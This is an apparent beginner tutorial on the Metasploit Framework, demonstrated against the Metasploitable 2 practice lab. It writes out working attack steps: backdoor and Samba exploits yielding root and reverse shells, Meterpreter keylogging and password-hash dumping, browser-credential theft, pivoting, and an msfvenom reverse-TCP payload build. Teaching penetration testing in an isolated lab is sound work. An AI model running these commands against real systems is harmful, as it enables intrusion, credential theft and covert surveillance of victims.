Metasploit Framework Complete Beginner Guide 2026

·

Metasploit Framework is the world's most widely used penetration testing platform. Developed by H.D. Moore in 2003 and now maintained by Rapid7, it provides a unified interface for exploitation, payload delivery, post-exploitation, and reporting. It ships pre-installed on Kali Linux and is used in virtually every professional red team engagement.

This guide walks you through the full Metasploit workflow: launching msfconsole, searching for exploits, configuring options, delivering payloads, interacting with Meterpreter, and running post-exploitation modules — all demonstrated against the intentionally vulnerable Metasploitable 2 practice lab.

◈ Table of Contents

01 What is Metasploit Framework 02 Installation & Lab Setup 03 msfconsole Navigation 04 Searching & Selecting Exploits 05 Configuring & Running Exploits 06 Meterpreter Shell Commands 07 Post-Exploitation Modules 08 Payload Types Explained
🔎

01 — WHAT IS METASPLOIT FRAMEWORK

BEGINNER
01
Architecture & Core Components
Overview

Metasploit is a modular framework built around a database of exploits, payloads, encoders, and auxiliary modules. You interact with it through msfconsole — a command-line interface that lets you select, configure, and fire any module against a target. Every component is self-contained and chainable.

ComponentDescriptionExample
ExploitCode that takes advantage of a vulnerabilityms17_010_eternalblue
PayloadCode that runs on the target after exploitationwindows/x64/meterpreter/reverse_tcp
AuxiliarySupport modules: scanners, fuzzers, brute forcescanner/smb/smb_version
PostPost-exploitation: privilege escalation, data gatheringpost/multi/recon/local_exploit_suggester
EncoderObfuscate payloads to evade AV/IDSx86/shikata_ga_nai
NopNOP sleds for padding in exploit developmentx86/single_byte
💾

02 — INSTALLATION & LAB SETUP

BEGINNER
01
Install Metasploit & Set Up Practice Lab
Setup

Metasploit is pre-installed on Kali Linux. For other distributions, use the official installer. For practice, always use an intentionally vulnerable target — Metasploitable 2 is the standard beginner choice.

KALI LINUX — START AND UPDATE
# Start the Metasploit database (PostgreSQL) sudo systemctl start postgresql sudo msfdb init # Launch msfconsole msfconsole # Update Metasploit to latest modules sudo apt update && sudo apt install metasploit-framework -y
INSTALL ON UBUNTU / DEBIAN
# Official rapid7 installer (recommended) curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfinstall > msfinstall chmod +x msfinstall sudo ./msfinstall
◈ Lab Setup: Metasploitable 2 Target
  • 1
    Download Metasploitable 2 from SourceForge (search "metasploitable 2 download")
  • 2
    Import the .vmdk into VirtualBox or VMware — create a new VM, use existing disk
  • 3
    Set the network adapter to Host-Only (so it's isolated from the internet)
  • 4
    Boot Metasploitable 2: login msfadmin / msfadmin, run ifconfig to get its IP
  • 5
    From Kali, verify connectivity: ping <metasploitable-ip>
⚠️

NEVER connect Metasploitable 2 to the internet or a shared network. It is intentionally full of critical vulnerabilities. Use Host-Only or NAT-Only networking in your hypervisor. Only practice exploitation against this machine or other authorized lab targets.

💻

03 — MSFCONSOLE NAVIGATION

BEGINNER
01
Essential msfconsole Commands
Console

msfconsole is a full-featured command interpreter. Learning the core navigation commands lets you move through the framework efficiently. Tab completion works on all commands and module names.

CORE NAVIGATION COMMANDS
# Launch msfconsole msfconsole # Basic help msf6 > help msf6 > help search # Show available module categories msf6 > show exploits # list all exploits msf6 > show payloads # list all payloads msf6 > show auxiliary # list auxiliary modules msf6 > show post # list post-exploitation modules # Database commands msf6 > db_status # check database connection msf6 > workspace # manage assessment workspaces msf6 > hosts # show discovered hosts in DB msf6 > services # show discovered services in DB # Nmap scan directly from msfconsole (results stored in DB) msf6 > db_nmap -sV -O 192.168.56.101 # Exit msfconsole msf6 > exit
🔍

04 — SEARCHING & SELECTING EXPLOITS

BEGINNER
01
search, use, info — The Core Loop
Search

Finding the right module is a three-step process: search for candidates, review with info, then use to load it. The search command supports filtering by name, platform, CVE, author, and rank.

SEARCHING FOR EXPLOITS
# Search by keyword msf6 > search vsftpd msf6 > search smb ms17_010 msf6 > search apache struts # Search by platform, type, and rank msf6 > search platform:windows type:exploit rank:excellent # Search by CVE msf6 > search cve:2021-44228 # Log4Shell # View detailed information about a module msf6 > info exploit/unix/ftp/vsftpd_234_backdoor # Load a module (two ways) msf6 > use exploit/unix/ftp/vsftpd_234_backdoor msf6 > use 0 # use the first result number from search # See required and optional options msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show advanced
Module Rank Meanings
  • excellent — reliable, no side effects, works consistently
  • great — usually reliable, minor side effects possible
  • good — generally reliable, may need target adjustment
  • normal — default reliability
  • average — works sometimes, may be unreliable
  • low / manual — requires significant setup or has known issues
📶

05 — CONFIGURING & RUNNING EXPLOITS

INTERMEDIATE
01
Full Exploit Workflow — vsftpd 2.3.4 Backdoor
Exploit

The vsftpd 2.3.4 backdoor is a classic Metasploitable 2 vulnerability — a backdoor was secretly inserted into the vsftpd FTP server source. When a user logs in with a smiley face ":)" in the username, a root shell opens on port 6200. Perfect for learning the exploit workflow.

COMPLETE EXPLOIT WALKTHROUGH
# 1. Search and load the module msf6 > search vsftpd_234 msf6 > use exploit/unix/ftp/vsftpd_234_backdoor # 2. Show required options msf6 exploit(vsftpd_234_backdoor) > show options # 3. Set target host msf6 exploit(vsftpd_234_backdoor) > set RHOSTS 192.168.56.101 # 4. Run the exploit msf6 exploit(vsftpd_234_backdoor) > run # Expected output: [*] 192.168.56.101:21 - Banner: 220 (vsFTPd 2.3.4) [*] 192.168.56.101:21 - USER: 331 Please specify the password. [+] 192.168.56.101:21 - Backdoor service has been spawned, handling... [+] 192.168.56.101:21 - UID: uid=0(root) gid=0(root) [*] Found shell. [*] Command shell session 1 opened # You now have a root shell on the target id whoami cat /etc/passwd
EXPLOIT WITH REVERSE TCP PAYLOAD (METERPRETER)
# Example: exploiting Samba vulnerability on Metasploitable 2 msf6 > use exploit/multi/samba/usermap_script msf6 exploit(usermap_script) > set RHOSTS 192.168.56.101 msf6 exploit(usermap_script) > set LHOST 192.168.56.1 # your Kali IP msf6 exploit(usermap_script) > set payload cmd/unix/reverse msf6 exploit(usermap_script) > run
🎯

06 — METERPRETER SHELL COMMANDS

INTERMEDIATE
01
Meterpreter — The Advanced Shell
Meterpreter

Meterpreter is Metasploit's advanced payload — an in-memory shell that communicates over an encrypted channel, provides structured commands for file system access, process management, screenshot capture, and pivoting. It runs entirely in memory and leaves minimal disk artifacts.

ESSENTIAL METERPRETER COMMANDS
# System info meterpreter > sysinfo # OS version, hostname, architecture meterpreter > getuid # current user context meterpreter > getpid # process ID of meterpreter session # Privilege escalation meterpreter > getsystem # attempt privilege escalation meterpreter > getprivs # list current privileges # File system meterpreter > pwd # current directory meterpreter > ls # list files meterpreter > cd C:\\Users # change directory meterpreter > download file.txt /tmp/ # download file from target meterpreter > upload payload.exe C:\\Windows\\Temp\\ # Search for files meterpreter > search -f *.txt -d C:\\Users # Process management meterpreter > ps # list processes meterpreter > migrate 1234 # migrate to another process (PID) meterpreter > kill 1234 # kill a process # Networking meterpreter > ipconfig # network interfaces meterpreter > arp # ARP table meterpreter > route # routing table # Credentials & hashes meterpreter > hashdump # dump Windows password hashes # Shell & interactive meterpreter > shell # drop to system shell meterpreter > screenshot # capture desktop screenshot meterpreter > keyscan_start # start keylogger meterpreter > keyscan_dump # retrieve captured keystrokes # Session management meterpreter > background # background the session msf6 > sessions -l # list all sessions msf6 > sessions -i 1 # interact with session 1
📊

07 — POST-EXPLOITATION MODULES

INTERMEDIATE
01
Key Post-Exploitation Modules
Post

After gaining initial access, post-exploitation modules extend your capability — escalating privileges, gathering credentials, establishing persistence, and pivoting to other network segments.

LOCAL EXPLOIT SUGGESTER — FIND PRIV ESC PATHS
# Background meterpreter session first meterpreter > background # Run local exploit suggester msf6 > use post/multi/recon/local_exploit_suggester msf6 post(local_exploit_suggester) > set SESSION 1 msf6 post(local_exploit_suggester) > run # Lists exploits likely to work based on target OS/patch level
CREDENTIAL GATHERING
# Dump Windows SAM hashes (requires SYSTEM) msf6 > use post/windows/gather/hashdump msf6 post(hashdump) > set SESSION 1 msf6 post(hashdump) > run # Gather browser credentials msf6 > use post/multi/gather/firefox_creds msf6 > use post/windows/gather/credentials/chrome # Enumerate installed applications msf6 > use post/windows/gather/enum_applications
PIVOTING — ROUTE THROUGH COMPROMISED HOST
# Add route through compromised host to reach internal network msf6 > route add 10.0.0.0/8 1 # 1 = session ID # Or use the post module msf6 > use post/multi/manage/autoroute msf6 post(autoroute) > set SESSION 1 msf6 post(autoroute) > run
📶

08 — PAYLOAD TYPES EXPLAINED

INTERMEDIATE
01
Singles, Stagers & Staged Payloads
Payloads

Choosing the right payload type is critical for reliable exploitation. The three-part naming convention tells you platform/arch/type: e.g., windows/x64/meterpreter/reverse_tcp.

TypeFormatDescriptionUse When
Singlesplatform/payloadSelf-contained — everything in one payloadLimited space, simple shells
Stagersplatform/stager/payloadSmall stager fetches the larger stage from attackerBypassing size limits
Stagedplatform/arch/stage/payloadStager + stage + final payload (e.g., meterpreter)Full-featured shells
COMMON PAYLOAD SELECTION
# View compatible payloads for current exploit msf6 exploit(usermap_script) > show payloads # Linux reverse shell msf6 > set payload linux/x86/meterpreter/reverse_tcp # Windows reverse Meterpreter (most common) msf6 > set payload windows/x64/meterpreter/reverse_tcp # Multi-platform (web exploitation, PHP apps) msf6 > set payload php/meterpreter/reverse_tcp # Pure shell (no meterpreter) msf6 > set payload cmd/unix/reverse_bash # Always set LHOST and LPORT for reverse payloads msf6 > set LHOST 192.168.56.1 # your attacking machine IP msf6 > set LPORT 4444 # listen port (default 4444)

Use msfvenom to generate standalone payload files (EXE, APK, ELF, shellcode) for situations where you can't use Metasploit directly: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f exe -o payload.exe


⚠️

Metasploit is a professional security tool that must only be used against systems you own or have explicit written authorization to test. Unauthorized exploitation is a serious criminal offense under computer crime laws worldwide. Always conduct testing in isolated lab environments.

◈ Stay Connected

Follow CyberHawk Threat Intel for penetration testing tutorials, threat intelligence, and professional security content.

🌐 Website ▶️ YouTube 𝕏 Twitter/X ♫ TikTok ✈️ Telegram
📝 Blog 📚 Courses 📋 SOPs

"They can't exploit you if you are the Exploit."